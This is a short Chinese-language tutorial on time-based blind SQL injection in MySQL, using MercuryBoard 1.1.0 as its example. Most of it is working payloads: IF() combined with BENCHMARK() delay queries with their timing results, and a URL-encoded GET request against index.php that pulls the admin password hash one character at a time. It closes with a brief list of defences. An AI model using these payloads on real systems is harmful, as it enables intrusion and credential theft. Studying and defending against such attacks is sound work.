當應用不回顯錯誤資訊,常規 UNION SELECT 失效。甚至知曉表結構也難獲取內容。以 MercuryBoard 1.1.0 不可利用漏洞為例,演示如何從盲注漏洞提取密碼雜湊。
低權限用戶完整安裝漏洞版本。資料庫 mercuryboard,17 張表(mb_users 等)。當前用戶 123@localhost,無 mysql.user 讀取權限。
目標:判斷管理員密碼雜湊第一字節。MySQL 無 WAITFOR,但可用 IF() 配合 BENCHMARK() 製造延遲(低權限可執行)。
SELECT active_id FROM mb_active
UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(52),
BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')), null)
FROM mb_users WHERE user_group = 1;
-- 結果:0.00 秒,BENCHMARK 未執行
SELECT active_id FROM mb_active
UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(53),
BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')), null)
FROM mb_users WHERE user_group = 1;
-- 結果:5.36 秒,BENCHMARK 執行產生延遲
清理單引號干擾,構造 GET 請求:
/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
觀察回應延遲 2 秒 → 第一字節為 '5' (ASCII 53)。
MySQL 確實可被盲注攻擊。防禦需參數化查詢、最小權限、WAF 防護、錯誤資訊隱藏等多層次策略。